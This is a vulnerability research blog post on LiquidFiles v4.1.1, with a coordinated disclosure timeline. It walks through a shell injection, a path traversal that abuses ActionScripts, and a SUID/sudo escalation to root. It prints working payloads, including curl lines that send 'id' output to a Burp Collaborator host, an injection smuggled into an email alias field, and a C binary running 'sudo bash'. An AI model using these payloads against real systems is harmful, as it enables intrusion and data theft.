LiquidFiles Vulnerabilities: From Discovery to Disclosure

Join us in my quest to find some vulnerabilities in the Liquidfiles application! A full walkthrough awaits detailing the methodology and the findings that made all the effort worthwhile.

LiquidFiles Vulnerabilities: From Discovery to Disclosure

Welcome to a slightly eccentric journey of self-discovery and good old grep-foo as I tackle LiquidFiles.

The Target

Our unsuspecting victim for today will be LiquidFiles v4.1.1.

Why LiquidFiles?

  • It’s popular enough in Australia to spark curiosity, but not so widespread that finding issues becomes impossible.
  • Trial VM images are available which let us tinker on our own host.
  • Finally, LiquidFiles is written in Ruby, giving us the option of reviewing source code without messing around with decompilers.

So, shut down Reddit or TikTok, rally what’s left of your attention span, and let’s dig in - this might be a long one, but the payoff should be worth it!

Starting With Automation

We can start by using some automated tooling to hopefully catch us some juicy vulnerabilities with minimal effort. Semgrep OSS will be our tool of choice here.

GitHub - semgrep/semgrep: Lightweight static analysis for many languages. Find bug variants with patterns that look like source code.
Lightweight static analysis for many languages. Find bug variants with patterns that look like source code. - semgrep/semgrep

We'll run a quick semgrep scan over the ruby source code and see what we find.

There goes the rest of my day

623 findings. This is going to take a while. For now we can focus our efforts on code injection results since RCE is so cool. Here's one that looks promising:

RCE speedrun attempt 1

%x{} is one way of running shell commands in Ruby, and #{} interpolates the password into the command. If we could control the password parameter, maybe we could inject our own shell commands with syntax like ; or $().

That shellescape method looks interesting. I sure hope it doesn't shatter my dreams of RCE.

Dreams? Shattered

A quick visit to the Ruby docs confirms my suspicions. shellescape will make sure its argument is treated as a single string in Bash.

We can use a Ruby REPL to see how this might affect our code injection attempts, using backticks to run shell code.

Live life on the edge

Luckily for me, shellescape blocked the injection from being interpreted as extra shell commands and instead was treated as a single argument to echo. Unluckily for me, this makes code injection much more difficult.

We can take the lazy way out and try to find any code injection points that don't use shellescape.

Baby's First Vulnerability

Our search for the elusive RCE continues. Scrolling through the semgrep output leads us to a potential code injection with no shellescape in sight.

RCE speedrun attempt 2?

A quick read of the source code shows that the function Sudo.exec takes the command to execute as a parameter and doesn't call shellescape.

def exec(command, options = {})
  #snip
  %x{#{sudo} #{user} #{command} #{stdout} #{stderr}}
  #snip 
end

lib/sudo.rb

Now to find somewhere that calls this code with user controllable input without shellescape. Grep to the rescue!

def write_change(diskname)
  Sudo.exec %{mkfs.ext4 -F /dev/#{diskname}}
  #snip
end

lib/disk.rb

This is promising. The disk name is interpolated into the command without a shellescape. Now we just need to find if / how this code can be accessed by a user.

There are a few ways we could do this.

Works every time, 60% of the time
Admin -> System -> Data Disk

Aimlessly poking around the admin pages on the web app leads us here.

Let's just straight up give this a go.

We can intercept the POST /system/disks/save request that this page sends and add our injection to the use_disk body parameter.

Go outside
An important message
Grassroots

Pop the champagne! We've done it!

What severity rating should we give it? Only sysadmins can access the disk config to trigger this RCE. Sysadmins already have root access.

🤦

Let's see if we can find something with an actual security impact.

Baby's First CVE (Pending CNA)

Now we're warmed up and it seems our method for finding RCEs works, we just need to keep hunting.

Scrolling through more grep results for Sudo.exec leads us to lib/actionscript.rb. What's an ActionScript?

RTFM

Looks like ActionScripts are custom executables that can be uploaded and set to run on certain events. Unfortunately only Sysadmins can add ActionScripts, but lower-level admins can still choose which ActionScript should be triggered for events.

Let's take a peek at the code.

def execute(parameters, environment = "")
  #snip
  actionscript_command = ""
  #snip
  actionscript_command += path
  #snip
  result = Sudo.exec actionscript_command, user: "_actionscript",
  #snip
end

lib/actionscript.rb

The ActionScript seems to be called using a local path to an executable file. Note that path here is actually a method call, not a variable (❤️Ruby).

See if you can spot the issue with the path code:

def path
  unless Dir.exist?(%{#{@domain.system_path.shellescape}/actionscripts/})
    FileUtils.mkdir_p %{#{@domain.system_path.shellescape}/actionscripts/}
  end
  %{#{@domain.system_path.shellescape}/actionscripts/#{@script.to_s.shellescape}}
end

lib/actionscript.rb

If you recall, shellescape will ensure the input is treated as a single string by Bash, meaning no simple code injection. However, path components are left untouched.

../../../../../../../../../../../../../../../../../go_home

Now we just need to find somewhere in the webapp where a lower-level admin can set which ActionScript should be triggered on an event.

⚠️
These settings are only available if at least one ActionScript has already been added by a Sysadmin.
Admin -> Groups -> Edit Local Users Group -> Message Settings

This setting will trigger the ActionScript when a member of the group being edited (Local Users in this case) sends a message. We can intercept the POST /admin/groups/local-users request to add our traversal.

No REST for the wicked

All we have to do now is send a message from a member of the Local Users group. Since we're an admin, we can just create a new account to use.

Leave demos to the pros

A quick look at the activity log shows that this works.

Only took like, 3 days

Nice, but not exactly exciting yet.

Doing Something Useful

Now that we're pretty sure we can run code on the server, we just need a way to run custom code. We need to upload executables onto the server. Since ActionScripts are executed by running the path directly, we'll also need to enable the executable permission on the uploaded file.

The FTPDrops feature has everything we need. I've enabled it with the secure user:pass of a:a.

Now let's upload a simple POC.

#!/usr/bin/env bash

curl -d "$(id)" https://t5zy7e12owfjd3j81wces4ew0n6eu6iv.oastify.com

Sends user ID to Burp Collaborator

Deliver that POC

I'll use the root SSH access I prepared earlier to verify that this works.

ALL the perms

Looks good. Our upload will be deleted after a few minutes or after FTP logout, so we need to work quickly.

Repeat the last POST /admin/groups/local-users intercept but use the path to the POC instead. In this case: ../../../../../../../data/ftpdrop/a/poc

When we send another message as a Local User, we should get a response back to Burp Collaborator with the ID of the executing user.

U r hac

Nice! Looks like ActionScripts are executed as the _actionscript user.

Before we move on to rooting this box, there is another method to achieve custom execution.

Bonus: Doing Something Useful II - The Sequel

So FTPDrops is disabled but you don't want to miss out on a juicy RCE? I've got you covered. 😉

If we can't upload our own executables then we'll just have to live off the land. We can run an executable that's already on the server and inject our code into that, but how can we do that without control over the parameters passed into the ActionScript?

If we actually RTFM we'll discover that message parameter action scripts are called with a JSON file as an argument. Here's what one looks like:

{
  "message": {
    "sender": null,
    "expires_at": "2025-02-08",
    "expires_after": 0,
    "authorization": 3,
    "size": null,
    "subject": "Hello",
#snip
  }
}

Yep, that's JSON alright

We need an executable that will take this JSON file and somehow run code we've injected into it.

If you're familiar with Ruby, you may notice that JSON could actually work as one of the ~10 different ways of writing hashes. Let's run it!

404 Nothing not found

Ruby doesn't have the keyword null. What if we could control a field before any nulls and add some string interpolation. Would ruby run our code before crashing?

We can change the sender field and try again.

"#{`>&2 id`}"

Change sender field to this

ALL the groups

Sweet! The injected shell command is executed before ruby hits a null and crashes. Now we just need a way to control the sender field.

A quick stroll around the user settings reveals an option for setting alternate sender addresses. Let's stuff our ruby injection in here and see what happens.

Computer says no

Shockingly, our 100% legit email has been rejected. The source code can tell us why.

EMAIL_REGEXP_MATCH = %r{\b[a-zA-Z0-9.!\#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*\b}x

Dev had a seizure here

The email validation regex seems oddly generous, so let's just try replacing the spaces. Backslashes aren't allowed so we'll have to be more creative than \x20.

Converting 32 to a character then interpolating is the obvious choice here.

I wonder if SMTP would take this abuse

Apparently our email is valid. All we have to do now is test it.

We set the message parameter ActionScript just like before, but with a traversal to /bin/ruby. When we send our message from the Local User we need to select our new alias.

Email address of Elon's 13th child
Exploits of a Mom
Obligatory xkcd

Once the message is sent, our Ruby injection should trigger.

GG EZ

Root It

Since we now have custom code executing as the _actionscript user, we may as well take it all the way.

Time to try the usual Linux local privilege escalation methods:

  • Interesting readable / writable paths? ❌
  • Custom SUID binaries? ❌
  • Vulnerable services? ❌
  • Sudoers?
root@liquidfiles411:~# cat /etc/sudoers.d/liquidfiles
#snip
_sfta   ALL=(ALL) NOPASSWD: SETENV: ALL
liquidfiles ALL=(ALL) NOPASSWD: ALL

Passwords are for plebs

So _sfta and liquidfiles can use sudo without a password. Unfortunately we only have execution as _actionscript.

Or do we? 🤔

If you were paying attention, you might have noticed that the executables we were uploading earlier were owned by _sfta.

How does that help us?

If we can upload executables and enable the SUID permission then we're in business. The SUID/SGID permissions on binaries let us run executables with the privileges of the file owner rather than the executing user.

So if our _actionscript user runs the uploaded SUID binary, they can impersonate _sfta, who just so happens to have sudo access.

Let's cook up a spicy POC.

#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setreuid(900, 900);
    setregid(900, 900);
    system("sudo bash -c 'curl -d \"$({ id & ls /; })\" https://okctm9gx3ruesyy3grr97ztrfil99zxo.oastify.com'");
    return 0;
}

Back in my day POCs were written in C 👴

The SUID permission is ignored for scripts, so C is the way to go. Our code will try to set the real user and group IDs to 900 (_sfta), then execute our payload with sudo.

Time to compile and upload using FTP just like before. This time we set the permissions to 6777 to enable SUID/SGID.

The last POC, I promise
Spicy Red POC‼️

Seems promising so far. Now we just need to set up our message parameter ActionScript traversal just like before.

Time to login as our Local User and send a message.

1337 h4x0r

Burp Collaborator received the request and it looks like we're root. Groovy!

TL;DR

So in a reasonably short period of time we managed to find:

  • A code injection RCE exploitable from the disk settings page by Sysadmins.
  • A path traversal RCE exploitable by configuring ActionScripts to be triggered on events. Admin or higher privileges are required for this one. Awaiting CVE ID.
  • A local privilege escalation to root by abusing FTP chmod, SUID binaries, and sudo. Requires FTPDrop access. Awaiting CVE ID.

Disclosure Timeframe

  • 9/01/2025 - Vulnerabilities discovered.
  • 13/01/2025 - Vulnerabilities reported to LiquidFiles.
  • 14/01/2025 - LiquidFiles patch released (Version 4.1.2).
  • 13/02/2025 - Blog published.

What Did We Learn?

  • You don't need any fancy tools or methodologies to find vulnerabilities. If you have grep and a couple brain cells to rub together, you too can find vulnerabilities.
  • It can be a slow process. Automated tools will eat all the low hanging fruit, so if the app you're testing is reasonably popular then you might need to put in some hours (and tears).